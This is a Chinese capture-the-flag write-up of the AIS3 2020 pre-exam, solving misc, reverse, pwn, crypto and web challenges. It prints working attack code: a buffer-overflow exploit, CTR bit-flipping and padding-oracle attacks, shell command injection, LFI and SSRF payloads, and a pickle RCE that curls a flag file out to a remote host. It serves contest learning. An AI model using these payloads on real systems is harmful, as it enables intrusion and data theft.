Cavern.sigma
Welcome to Cavern.sigma
[TOC] # 成績 --- ![profile](https://img.stoneapp.tech/t510599/2020-ais3-pre-exam_cropped.png) 要看完整的 Profile 可以看[這裡](https://img.stoneapp.tech/t510599/2020-ais3-pre-exam.png) 順便附上很長的 [Scoreboard](https://img.stoneapp.tech/t510599/2020-ais3-pre-exam-scoreboard.png) # 前言 --- 沒解開的索性不放了 XD 這是我第一次打這種超過一天的 CTF 比賽 沒想到可以擠進前 10 名 感謝 @a91089200 跟 @secminhr 在比賽前陪我練習 但是我的 PWN 還是爛透了 QQ # 官解 --- - Misc - https://github.com/frozenkp/CTF/tree/master/2020/AIS3_pre-exam - Reverse - http://blog.terrynini.tw/tw/2020-AIS3-%E5%89%8D%E6%B8%AC%E5%AE%98%E6%96%B9%E8%A7%A3/ - PWN - https://github.com/ss8651twtw/ais3-pre-exam-2020 - Crypto - https://maojui.me/Writeups/AIS3/2020/brontosaurus/ - https://maojui.me/Writeups/AIS3/2020/T-Rex/ - https://maojui.me/Writeups/AIS3/2020/blowfish/ - https://maojui.me/Writeups/AIS3/2020/octopus/ - https://maojui.me/Writeups/AIS3/2020/camel/ - https://maojui.me/Writeups/AIS3/2020/turtle/ - Web - https://github.com/djosix/AIS3-2020-Pre-Exam # AIS3 2020 Pre-exam WriteUp --- ## ~~Before Test~~ ![](https://i.imgur.com/mxVV823.png) ~~flag: `AIS3{1N73rn3l_s3rv3r_3Rr0r}`~~ ## Misc ### Piquero 其實就是盲文 參考 wiki 解碼 [https://en.wikipedia.org/wiki/Braille_ASCII](https://en.wikipedia.org/wiki/Braille_ASCII) 解出來是這樣 `,A,I,S#C"_,I.-FEEL.-SLEEPY.-,GOOD.-,NIGHT!!!"_` 按照規則翻譯 flag: `AIS3{I_feel_Sleepy_Good_Night!!!}` *p.s. 不過那個大括號我到現在還找不到定義* ### Karuego 用 stegsolve 打開 > Data Extract ![karuego1](https://i.imgur.com/wOef4HP.png) 看到說 `The key is lafire` 不過還不知道甚麼意思 後來試了一下 `binwalk` 發現裡面有個 zip 用 `dd` 取出來 發現剛剛的 key 就是 zip 檔的密碼 ![karuego2](https://i.imgur.com/1Q0fzc5.png) 打開 Demon.png 裡面就是 flag ![karuego3](https://i.imgur.com/x5QiPdl.jpg) flag: `AIS3{Ar3_you_r3411y_r34dy_t0_sumnnon_4_D3mOn?}` ### Soy 用 https://merricx.github.io/qrazybox/ 手刻 qrcode 上去 對 記得白色的也要填色 ![soy1](https://i.imgur.com/5MF74F8.png) 然後用 Extract Information ![soy2](https://i.imgur.com/lBOlbBJ.png) 手工修復一下 flag flag: `AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}` ### Saburo 講白了就是時序攻擊 如果 input 越接近 flag 那麼他的秒數會跟其他秒數不太一樣 這裡用單一字元的秒數跟其他字元所有秒數的平均的差的絕對值來定義 "不一樣" 一開始 retry 設不夠多次導致秒數差距沒有出來 flag 一直亂飄 最後設成 20 次 但是跑了快一個小時 :( ```python= from pwn import * from string import ascii_letters, digits import re h = "60.250.197.227" p = 11001 chars = ascii_letters + digits + "}_" known = "AIS3{" flag = False retry = 20 count = 1 def difference(li, i): num = li[i] tmp = list(filter(lambda x: x != num, li)) return abs(num - (sum(tmp) // len(tmp))) while not flag and count <= 1000: tmp = [] for c in chars: avg = 0 for _ in range(retry): r = remote(h, p, level="warn") r.recvuntil("Flag: ") r.sendline(known + c) line = r.recvline(keepends=False).decode("utf-8") if "lose" in line: match = re.findall("\\d+", line) if match: second = int(match[0]) avg += second else: flag = True print(known + c) break r.sendline() # end tmp.append(avg // retry) dif = [difference(tmp, i) for i in range(len(tmp))] find = chars[dif.index(max(dif))] known += find print(count, max(tmp), known) count += 1 ``` ![Saburo1](https://i.imgur.com/fSiTwo9.png) *p.s. 上面只有 0 的行是 debug 在用的* flag: `AIS3{A1r1ght_U_4r3_my_3n3nnies}` ### Shichirou tar 裡面其實可以放軟連結 所以弄一個指到真正 flag 檔的軟連結就好 不過試 `~/flag.txt` 沒成功 後來先隨便丟了 input 過去炸家目錄位置出來 再換成絕對路徑就可以了 ![Shichirou1](https://i.imgur.com/tmk9TSH.png) ```bash= ln -s /home/ctf/flag.txt guess.txt tar cvf ouo.tar guess.txt python g.py ``` `g.py` ```python= from pwn import * h = "60.250.197.227" p = 11000 r = remote(h, p) d = open("ouo.tar", "r").read() r.send(str(len(d))+"\r\n") r.send(d) r.interactive() ``` flag: `AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}` ## Reverse ### TsaiBro ~~去年的題目~~ 試個幾次會發現 TsaiBro 會把後面的文字轉換成 `發財\.?發財\.?` ![TsaiBro1](https://i.imgur.com/SfkC5lV.png) 把所有的字元轉換一次建個表 然後直接分組查表 ```python= #coding=utf-8 import subprocess import re db = dict() for c in "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789_": r = subprocess.run(["./TsaiBro", c], stdout=subprocess.PIPE) text = r.stdout.decode("utf-8").split("\n")[1] db[text.strip()] = c with open("TsaiBroSaid", "r") as f: string = f.readlines()[1] rule = "(發財\\.+發財\\.+)" matchlist = re.findall(rule, string) flag = "" for cipher in matchlist: flag += db[cipher.strip()] print(flag) ``` flag: `AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}` ### Fallen Beat **First Blood!** 把 `Fallen_Beat.jar` 用 `jd-gui` 打開 ![FallenBeat1](https://i.imgur.com/mwYysA8.png) 找到生 flag 的地方 解壓縮之後 直接用 [jbe](https://set.ee/jbe/) 打開 ![FallenBeat2](https://i.imgur.com/K9AezRo.png) 把 271 行的 `if_icmpne` 成 `if_icmpeq` save method 之後用 7-zip 壓起來 然後 play 之後放到他打完 ![FallenBeat3](https://i.imgur.com/dDMTMST.png) 雖然只有一半 但是夠我看出 flag 了 flag: `AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}` ### Stand Up! Brain `strings joke` 會發現裡頭有個長得像 brainfuck 的東西 ![StandUpBrain1](https://i.imgur.com/pl3bwig.png) 先挖出來 ```brainfuck -------------------------------------------------------------------[>[-]<[-]]>[>--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[>------------------------------------------------------[>[-]<[-]]>[>---------------------------------------------------[>[-]<[-]]>[>---------------------------------[>[-]<[-]]>[>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]]]]]]] ``` 直接跑卻發現沒有輸出 重新縮排後發現有一堆沒用的 loop ```brainfuck= -------------------------------------------------------------------[>[-]<[-]]>[ >--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[ >------------------------------------------------------[>[-]<[-]]>[ >---------------------------------------------------[>[-]<[-]]>[ >---------------------------------[>[-]<[-]]>[ >>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-] ] ] ] ] ] ] ``` 把迴圈拿掉 化簡成這樣 (只剩第六行) ```brainfuck ----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-] ``` 隨便拿去線上跑 flag: `AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}` ### La vie en rose 給你一個用 pyinstaller 打包的 exe 輸入正確的譜才會給你 flag 先用 [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) 把 exe 解開 *(如果 pyinstxtractor 版本不夠新還要自己改 magic number)* 接下來用 [pycdc](https://github.com/zrax/pycdc) 試著還原 rose.pyc 不過到一半就會爛掉了QQ ![rose1](https://i.imgur.com/9lvvvtn.png) 最後用 pycdc 底下的 `pycdas` 解成 bytecode 看 ([解出來的 bytecode](https://gist.github.com/t510599/5f97b7bdd3cb7641ddc7c29c07d83112) 太長放 gist) 並試著手刻還原成這樣 ```python= import winsound from time import sleep from math import floor def listcomp(arg): global secret, notes # some magic I cannot understand keytone = { 'a': 261.63 } pt = keytone['a'] ks = ('w', 's', 'e', 'd', 'f', 't', 'g', 'y', 'h', 'u', 'j', 'k', 'o', 'l', 'p', ';', "'", '[', ']', ' ') for c in ks: pt *= pow(2, 0.833333) keytone[c] = pt print('Play some music to please me, despicable outlander....') print("\n ________________________________________________________\n| | | | | | | | | | | | | | | | | | | | | | | | |\n| | | | | | | | | | | | | | | | | | | | | | | | |\n| |w| |e| | |t| |y| |u| | |o| |p| | |[| | | | | |\n| |_| |_| | |_| |_| |_| | |_| |_| | |_| |_| |_| |\n| | | | | | | | | | | | | | |\n| a | s | d | f | g | h | j | k | l | ; | ' | ] | | |\n|___|___|___|___|___|___|___|___|___|___|___|___|___|___|\n") notes = input() play = [ ['-',1] ] for note in notes: if note == play[-1][0]: play[-1][1] += 1 else: play.append([note, 1]) for note in play: if note == " ": sleep(0.2) if note == "-": winsound.Beep(floor(keytone[note[0]]), 200) notes = list(map(ord(notes))) result = [] for i in range(len(notes) - 1): result.append(notes[i] + notes[i+1]) for i in range(len(notes) - 1): result.append(notes[i] - notes[i+1]) constraint = [216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 217, 212, 210, 208, 210, 212, 210, 208, 136, 140, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 217, 217, 219, 167, 150, 182, 199, 216, 219, 222, 219, 216, 212, 208, 208, 208, 149, 149, 210, 217, 219, 167, 150, 182, 199, 216, 219, 222, 219, 216, 211, 206, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 5, 0, 2, 0, -2, 0, 2, 0, 72, -76, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 5, -5, 3, 49, -32, 0, -17, 0, -3, 0, 3, 0, 4, 0, 0, 0, 59, -59, -2, -5, 3, 49, -32, 0, -17, 0, -3, 0, 3, 0, 5, 0] if result == constraint: secret = [62, 9, 11, 79, 0, 5, 4, 10, 76, 30, 0, 28, 62, 72, 76, 9, 5, 0, 3, 28, 76, 1, 22, 79, 8, 30, 10, 14, 54, 72, 102, 46, 2, 8, 79, 13, 30, 5, 1, 8, 31, 76, 2, 10, 123, 79, 3, 79, 24, 4, 10, 79, 26, 6, 9, 11, 15, 74, 17, 7, 85, 76, 30, 10, 28, 24, 102, 56, 7, 5, 24, 10, 79, 50, 72, 76, 12, 3, 0, 11, 79, 13, 2, 11, 79, 13, 0, 24, 14, 19, 28, 76, 66, 62, 58, 30, 2, 6, 1, 11, 102, 42, 29, 26, 12, 72, 6, 15, 11, 76, 89, 34, 123, 13, 76, 29, 0, 21, 13, 11, 71, 24, 9, 28, 27, 102, 46, 3, 14, 15, 7, 79, 27, 51, 94, 76, 13, 9, 13, 28, 27, 76, 8, 10, 28, 15, 9, 1, 11, 40, 27, 10, 29, 3, 1, 79, 28, 4, 13, 11, 0, 27, 31, 101, 54, 62, 87, 0, 0, 27, 76, 13, 10, 11, 31, 28, 17, 74, 8, 29, 26, 78, 31, 102, 40, 0, 0, 8, 101, 14, 2, 8, 79, 45, 15, 108, 76, 9, 76, 0, 79, 14, 76, 11, 79, 6, 76, 31, 79, 46, 74, 38, 76, 104, 123, 104, 76, 23, 27, 7, 93, 31, 55, 14, 4, 92, 74, 55, 24, 10, 8, 100, 55, 50, 7, 95, 48, 29, 3, 31, 84, 20, 51, 10, 94, 3, 0, 31, 48, 27, 13, 93, 24, 14, 53, 70] # calculate and print flag... ``` 對 因為看不懂 flag 是怎麼生出來的 所以改變方向 去找到正確的 input 讓第 50 行成立 從第 41 ~ 45 行可以看到 result 就是 1. 前後字元的 ASCII 相加 2. 前後字元的 ASCII 相減 兩個 list 的組合 寫個腳本跑過一趟直接求解未知數 ```python= def resolve(add, sub): return ((add+sub)//2, (add-sub)//2) with open("constraint.txt", "r", encoding="utf-8") as f: raw = f.readlines() const = [] for l in raw: d = int(l.strip().split(" ")[-1]) const.append(d) print(len(const), const) add_l = const[:len(const)//2] sub_l = const[len(const)//2:] result = "" for i in range(len(const)//2): a, b = resolve(add_l[i], sub_l[i]) result += chr(a) else: a, b = resolve(add_l[i], sub_l[i]) result += chr(b) print(result) ``` *p.s. constraint.txt 就是直接把 bytecode 裡的 constraint 那段複製貼上* 然後聽他演奏 0.2 * 121 (個音) 秒 ![rose2](https://i.imgur.com/ftFDeTB.png) flag: `AIS3{th1s_fl4g_red_lik3_ros3s_f1lls_ta1wan}` ## Pwn ### BOF ~~去年的題目~~ 我什麼都不知道 我就拿了去年別人的 code 改了一下去打(X [https://blog.roy4801.tw/2019/05/31/ais3/ais3_2019_pre_exam/#Welcome-BOF](https://blog.roy4801.tw/2019/05/31/ais3/ais3_2019_pre_exam/#Welcome-BOF) ```python= #!/usr/bin/env python from pwn import * r = remote('60.250.197.227', 10000) #r = process('./bof') #context(arch='i386', log_level='debug') welcome_to_ais3_2019 = 0x0000000000400687 # dunno whyyyy payload='A' * (48) payload += p64(welcome_to_ais3_2019) print r.recvline() r.sendline(payload) r.interactive() ``` get shell 之後 到處逛逛 發現在 `/home/bof/flag` ![bof1](https://i.imgur.com/qidzBC7.png) flag: `AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}` ## Crypto ### Brontosaurus ~~去年的題目~~ 把裡面的 jsfuck string reverse 之後直接貼在瀏覽器 console 跑 flag: `AIS3{Br0n7Os4uru5_ch3at_3asi1Y}` ### T-Rex 你會拿到一個檔案裏面有個 table 跟一串密文 ![TRex1](https://i.imgur.com/kjsKkEj.png) 由於知道 flag 格式是 `AIS3{...}` 所以得知要先讀 column 再讀 row ~~然後直接開始用 notepad++ 的全部取代手爆~~ ```python= dic = { "!!": "V", "!@": "5", "!#": "I", "!$": "K", "!%": "E", "!&": "U", "@!": "F", "@@": "0", "@#": "W", "@$": "G", "@%": "3", "@&": "Z", "#!": "Y", "#@": "M", "##": "H", "#$": "B", "#%": "C", "#&": "8", "$!": "J", "$@": "2", "$#": "S", "$$": "X", "$%": "7", "$&": "R", "%!": "6", "%@": "9", "%#": "4", "%$": "T", "%%": "P", "%&": "D", "&!": "1", "&@": "L", "&#": "Q", "&$": "A", "&%": "N", "&&": "O" } s = "&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }".split(" ") flag = "" for c in s: if len(c) == 2: flag += dic[c] else: flag+= c print(flag) ``` flag: `AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}` ### Octopus 題目提到 BB84 一種量子交換協議 https://zh.wikipedia.org/wiki/%E9%87%8F%E5%AD%90%E5%AF%86%E9%91%B0%E5%88%86%E7%99%BC#BB84%E5%8D%8F%E8%AE%AE 來看題目 ```python= import random import numpy as np from secret import FLAG, key_exchange LENGTH = 1024 def rotate(phi): return 1 * ( np.cos(phi) + np.sin(phi)*1j ) def get_rect_random() : if random.randint(0,2**128) %2 == 0: return (1+0j) # Arrow ↑ return (0+1j) # Arrow → def get_diagonal_random() : if random.randint(0,2**128) %2 == 0: return complex(0.707, +0.707) # Arrow ↗ return complex(0.707, -0.707) # Arrow ↘ def rotate(q): # For diagonal basis measure return q * complex(0.707, -0.707) basis = [random.choice('+x') for i in range(LENGTH)] qubits = [get_rect_random() if b == '+' else get_diagonal_random() for b in basis ] print("Basis : ", basis) print("Qubits : ", qubits) myBasis = [random.choice('+x') for i in range(LENGTH)] print("myBasis : ", myBasis) bit_stream = key_exchange(qubits, basis, myBasis) print(int(bit_stream[:400],2) ^ FLAG) ``` 現在要自己寫出 BB84 的 `key_exchange()` 來交換 並取前 400 bit 跟 flag xor 交換的方法很簡單 就是留下 `basis[i] == myBasis[i]` 的 `qubit[i]` 然後換成一般的 bit ![octopus](https://i.imgur.com/tToxS7Q.png) ```python= rect0 = complex(1, 0) # Arrow ↑ 0 rect1 = complex(0, 1) # Arrow → 1 diag0 = complex(0.707, +0.707) # Arrow ↗ 0 diag1 = complex(0.707, -0.707) # Arrow ↘ 1 other = [...] qbits = [...] my = [...] stream = "" def decodeQtoB(base, qbit): if base == "+": if qbit == rect0: return 0 else: return 1 else: if qbit == diag0: return 0 else: return 1 for i in range(len(other)): if other[i] == my[i]: bit = decodeQtoB(my[i], qbits[i]) stream += str(bit) msg = int(stream[:400], 2) sec = 2114605261815340712424659413225647507317872952942366497800823462312932228799031989657646284020761432666257418566252521668 flag = msg ^ sec print(flag) print(bytearray.fromhex("{:x}".format(flag)).decode()) ``` ~~話說那個題目的 Arrow ↑ 跟 Arrow → 484 寫反了~~ flag: `AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}` ### Blowfish 一開始題目給了一個 py 跟一個 `user.pickle` ```python= import os import pickle import random from base64 import b64decode, b64encode from Crypto.Util import Counter from Crypto.Cipher import Blowfish from secret import FLAG p = open('user.pickle','rb').read() key = os.urandom(8) iv = random.randint(0, 2**64) ctr = Counter.new(64, initial_value=iv, little_endian=True) cipher = Blowfish.new(key, Blowfish.MODE_CTR, counter=ctr) TOKEN = cipher.encrypt(p) print(''' . A ; | ,--,-/ \---,-/| , _|\,'. /| /| `/|-. \`.' /| , `;. ,'\ A A A A _ /| `.; ,/ _ A _ / _ /| ; /\ / \ , , A / / `/| /_| | _ \ , , ,/ \ // | |/ `.\ ,- , , ,/ ,/ \/ / @| |@ / /' \ \ , > /| ,--. |\_/ \_/ / | | , ,/ \ ./' __:.. | __ __ | | | .--. , > > |-' / ` ,/| / ' \ | | | \ , | / / |<--.__,->| | | . `. > > / ( /_,' \\ ^ / \ / / `. >-- /^\ | \\___/ \ / / \__' \ \ \/ \ | `. |/ , , /`\ \ ) \ ' |/ , V \ / `-\ `|/ ' V V \ \.' \_ '`-. V V \./'\ `|/-. \ / \ /,---`\ / `._____V_____V' ' ' ''') print("Your token:", b64encode(TOKEN).decode(), end="\n\n") username = input('username : ') password = input('password : ') TOKEN = input("TOKEN : ") ctr = Counter.new(64, initial_value=iv, little_endian=True) cipher = Blowfish.new(key, Blowfish.MODE_CTR, counter=ctr) print() try : objs = pickle.loads(cipher.decrypt(b64decode(TOKEN))) for obj in objs : if obj['name'] == username : if obj['name'] == username and obj['password'] == password : print(f"Welcome {obj['name']},") if obj['admin'] : print(f"Here is your flag: {FLAG}") print("Goodbye, See you again.") else : print("Failed to login.") except : print("Token not authorized") ``` 而 `user.pickle` 裡面是這樣的 ![blowfish1](https://i.imgur.com/8p255un.png) 伺服器一開始會先把 `user.pickle` 用 CTR Mode 加密 轉成 base64 再送給你 而 CTR 的特性如下 - 密文 = Key(IV+Counter) ⊕ 明文 - Key(IV+Counter) = 密文 ⊕ 明文 在已知明文跟密文的情況下 我們可以算出 Key(IV+Counter) 且同一個連線的 Key(IV+Counter) 都相同 因此自己生資料再加密送回去即可 ```python= import pickle from pwn import * knw = open("user.pickle", "rb").read() h = "60.250.197.227" p = 12001 r = remote(h, p) r.recvuntil("Your token:") enc_b64 = r.recvuntil("\n") enc = b64d(enc_b64.decode("utf-8").strip()) cc = xor(enc, knw) d = [{'name': 'a', 'password': 'a', 'admin': True}] print(d) r.sendlineafter("username : ", "a") r.sendlineafter("password : ", "a") rb = pickle.dumps(d) f = b64e(xor(cc,rb)) print(f) r.interactive() ``` *p.s. 不知道為甚麼直接用腳本送都不會過QQ 所以讓他印出來再複製貼上* ![blowfish2](https://i.imgur.com/PFaPotO.png) flag: `AIS3{ATk_BloWf1sH-CTR_by_b1t_Flipping_^_^}` ### Turtle 題目一開始就叫你去看 `csrf.php?source` ```php= <?php class Csrf { private $secret, $key, $size; function __construct($key) { $this->key = $key; $this->secret = file_get_contents('/turtle.flag'); $this->size = openssl_cipher_iv_length('aes-256-cbc'); } function generate() { $iv = openssl_random_pseudo_bytes($this->size); $cipher = openssl_encrypt($this->secret, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, $iv); $token = base64_encode($iv . $cipher); return $token; } function validate($token) { $bytes = base64_decode($token); $iv = substr($bytes, 0, $this->size); // extract IV $cipher = substr($bytes, $this->size); // extract cipher $secret = openssl_decrypt($cipher, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, $iv); if ($secret === false) throw new Exception('token decryption failed'); return $secret === $this->secret; } } if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) { // called directly if (isset($_GET['source'])) { highlight_file(__FILE__); } exit; } ``` 我們知道他是使用 CBC 來加密 代表可以使用 Padding Oracle Attack 又在 `index.php` 看到 ```php=15 // CSRF if (!isset($_SESSION['csrf_key'])) $_SESSION['csrf_key'] = md5(rand() * rand()); require_once('csrf.php'); $csrf = new Csrf($_SESSION['csrf_key']); ``` 所以只要 session 不換 key 也不會變 然後 token 要塞在 `csrf_token` 再 POST 過去 ```php=34 // Validate CSRF token $token = @$_POST['csrf_token']; if (!$token || !$csrf->validate($token)) { redirect('/', 'invalid csrf_token'); } ``` 直接魔改[現成的腳本](https://github.com/mpgn/Padding-oracle-attack) (太長了我放在 [gist](https://gist.github.com/t510599/bce7f01992e780329c02b61f1ca091fe),大致上就是改用 `requests` 送) 先找出 `iv_length` ```shell $ php -c "echo cipher_iv_length('aes-256-cbc');" 16 ``` 然後執行 ```shell python exploit.py -c <base64 token> --error 'failed' --method POST --cookie "PHPSESSID=<session id>" --post 1 -l 16 --host "https://turtowl.ais3.org/?action=login" -u a -v ``` ![turtle1](https://i.imgur.com/s5J9xOj.png) flag: `AIS3{5l0w_4nd_5734dy_w1n5_7h3_r4c3.}` ## Web ### Squirrel 打開的時候觀察 Network 可以發現他有請求一個 api `https://squirrel.ais3.org/api.php?get=%2Fetc%2Fpasswd` 先送 `api.php?get=api.php` 看原始碼 ```php= <?php header('Content-Type: application/json'); if ($file = @$_GET['get']) { $output = shell_exec("cat '$file'"); if ($output !== null) { echo json_encode([ 'output' => $output ]); } else { echo json_encode([ 'error' => 'cannot get file' ]); } } else { echo json_encode([ 'error' => 'empty file path' ]); } ``` 造個簡單 payload `/etc/hostname' %26%26 ls / %23'` (encodeURIComponent() 過) ``` ac49901ceb5e 5qu1rr3l_15_4_k1nd_0f_b16_r47.txt bin boot dev etc ... ``` 最後直接 `api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt` flag: `AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}` ### Shark 用底下的 hint 連結 `/?path=hint.txt` 得知 flag 在某台區網主機上 跟可以試試看 LFI 一樣先試試看讀原始碼 ```php= <?php if ($path = @$_GET['path']) { if (preg_match('/^(\.|\/)/', $path)) { // disallow /path/like/this and ../this die('<pre>[forbidden]</pre>'); } $content = @file_get_contents($path, FALSE, NULL, 0, 1000); die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>'); } ?> <!DOCTYPE html> // ... ``` 用 `php://filter` 大法就能繞過限制 逛來逛去逛到了 `/etc/hosts` payload: `php://filter/read=convert.base64-encode/resource=/etc/hosts` ``` 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.22.0.3 02b23467485e ``` 找到了 `172.22.0.3` 這個區網 IP address 不過他很大一段 範圍是 172.16.0.0 ~ 172.31.255.255 開始瞎猜 IP 位置 最後用 `/?path=http://172.22.0.2/flag` 找到了 flag: `AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}` ### Elephant 登入後畫面如下: ![elephant1](https://i.imgur.com/F4sTO7E.png) 發現 cookie 有個 `elephant_user` 長的很像 base64 就打開來看 內容大致是這樣: ``` "O:4:\"User\":2:{s:4:\"name\";s:2:\"tt\";s:11:\"\u0000User\u0000token\";s:32:\"211d87847a4cb6346f4b3a4eb299d2b3\";}" ``` 看了之後沒什麼頭緒 開始瞎改 session 結果莫名其妙把 User Token 改成 Admin Token 送出去就有了 ~~我是通靈大師~~ ``` "O:4:\"User\":2:{s:4:\"name\";s:2:\"tt\";s:12:\"\u0000Admin\u0000token\";s:32:\"211d87847a4cb6346f4b3a4eb299d2b3\";}" ``` flag: `AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}` ### Snake 進去會直接看到程式碼 ```python= from flask import Flask, Response, request import pickle, base64, traceback Response.default_mimetype = 'text/plain' app = Flask(__name__) @app.route("/") def index(): data = request.values.get('data') if data is not None: try: data = base64.b64decode(data) data = pickle.loads(data) if data and not data: return open('/flag').read() return str(data) except: return traceback.format_exc() return open(__file__).read() ``` 由於 `if data and not data` 沒辦法達成 只能透過 pickle 的漏洞來打 這裡參考了 https://davidhamann.de/2020/04/05/exploiting-python-pickle/ 來進行 RCE `bool.py` ```python= import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('curl "<ip>/?ref=$(cat /flag | base64)" &> /dev/null') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.b64encode(pickled)) ``` 最後去 server 上撿 ![snake1](https://i.imgur.com/cp1zdKW.png) 順帶一提 這個 payload 不能用 Windows 生 不然在 `pickle.loads` 的時候會 import 錯誤 ``` Traceback (most recent call last): File "./main.py", line 15, in index data = pickle.loads(data) ModuleNotFoundError: No module named 'nt' ``` flag: `AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}` ### Owl 先用 `guest` `guest` 登入之後 看到 source (這裡放重點而已) ```php=33 else if ($action === 'login') { // Validate CSRF token $token = @$_POST['csrf_token']; if (!$token || !$csrf->validate($token)) { redirect('/', 'invalid csrf_token'); } // Check if username and password are given $username = @$_POST['username']; $password = @$_POST['password']; if (!$username || !$password) { redirect('/', 'username and password should not be empty'); } // Get rid of sqlmap kiddies if (stripos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) { redirect('/', "sqlmap is child's play"); } // Get rid of you $bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--']; $username = str_ireplace($bad, '', $username); $username = str_ireplace($bad, '', $username); // Auth $hash = md5($password); $row = (new SQLite3('/db.sqlite3')) ->querySingle("SELECT * FROM users WHERE username = '$username' AND password = '$hash'", true); if (!$row) { redirect('/', 'login failed'); } $_SESSION['user'] = $row['username']; redirect('/'); } ``` 開始 SQL injection 不過要先繞過他的 `str_ireplace` * 2 